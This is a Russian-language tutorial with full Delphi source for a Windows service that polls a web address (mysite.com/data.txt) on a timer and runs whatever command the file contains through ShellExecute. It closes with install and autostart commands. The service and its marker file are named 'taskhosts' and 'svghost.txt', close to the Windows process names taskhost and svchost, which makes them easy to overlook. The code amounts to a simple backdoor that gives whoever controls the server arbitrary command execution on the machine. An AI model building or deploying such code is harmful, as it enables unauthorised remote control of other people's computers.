Хотите немного власти над ПК. Ниже представлен код небольшого сервиса, который устанавливается на управляемом компьютере и ждет сигнала с http (Можно заменить на ftp или сокеты, по вкусу).
Сначала запустим Delphi и создадим новый проект Other — Service Application.
На форму сервиса бросаем компонент таймер (Timer). Ставим ему интервал (Interval) секунд 10-20.
Далее в свойствах формы прописываем имя (Name) сервиса «taskhosts» (По этому имени потом будем его устанавливать и удалять из системы). Имя, которое будет отображаться в службах Windows прописывается в DisplayName. Тут можете писать что угодно, например «Удаленное управление»
Исходный код формы сервиса:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
httpsend, ExtCtrls, ShellAPI;
type
Ttaskhosts = class(TService)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
function GetServiceController: TServiceController; override;
{ Public declarations }
end;
var
taskhosts: Ttaskhosts;
implementation
{$R *.DFM}
//Получение времмеено папки пользователя
function GetTempDir(): string;
var
Buffer: array[0..MAX_PATH] of Char;
begin
GetTempPath(SizeOf(Buffer) - 1, Buffer);
Result := StrPas(Buffer);
end;
procedure ServiceController(CtrlCode: DWord); stdcall;
begin
taskhosts.Controller(CtrlCode);
end;
function Ttaskhosts.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;
//Блок ожидание команды с HTTP
procedure Ttaskhosts.Timer1Timer(Sender: TObject);
var
httpsend: THTTPSend;
//Подключение HTTP (Компонента Synapse)
userPath: string;
//Путь к папке пользователя
cmdLines: TStrings;
//Скачанная команда
checkLines: TStrings;
//Проверочный файл
begin
//Получаем временную папку пользователя
userPath := GetTempDir();
cmdLines := TStringList.Create;
checkLines := TStringList.Create;
//Читаем проверочный файл из папки пользователя
if FileExists(userPath + '\svghost.txt')
then checkLines.LoadFromFile(userPath + '\svghost.txt')
else checkLines.Add('?');
//Получаем командный файл
httpsend := THTTPSend.Create;
if httpsend.HTTPMethod('GET', 'mysite.com/data.txt') then
begin
//Если файл получен
if (httpsend.ResultCode=200) then
begin
cmdLines.LoadFromStream( httpsend.Document);
//Проверка первой строки команды и проверочного файла,
//чтобы не повторять команду
if cmdLines[0] <> checkLines[0] then
begin
//Создаем проверочный файл и прописываем новый проверочный код
checkLines.Clear;
checkLines.Add(cmdLines[0]);
checkLines.SaveToFile(userPath + '\svghost.txt');
(*
Пытаемся выполнить команду
Формат файла команд
[0]-код команды (для проверки)
[1]-операция (open, edit,...)
[2]-файл
[3]-параметры
[4]-директория
*)
try
ShellExecute(0, PChar(cmdLines[1]), PChar(cmdLines[2]),
PChar(cmdLines[3]), PChar(cmdLines[4]), SW_SHOWNORMAL);
except
//В случае сбоя пожаловаться в проверочный файл
checkLines.Clear;
checkLines.Add('ERROR');
checkLines.SaveToFile(userPath + '\svghost.txt');
end;
end;
end;
end;
httpsend.Free;
checkLines.Free;
cmdLines.Free;
end;
end.
Запуск сервиса
svghost /install /autostart
net start taskhosts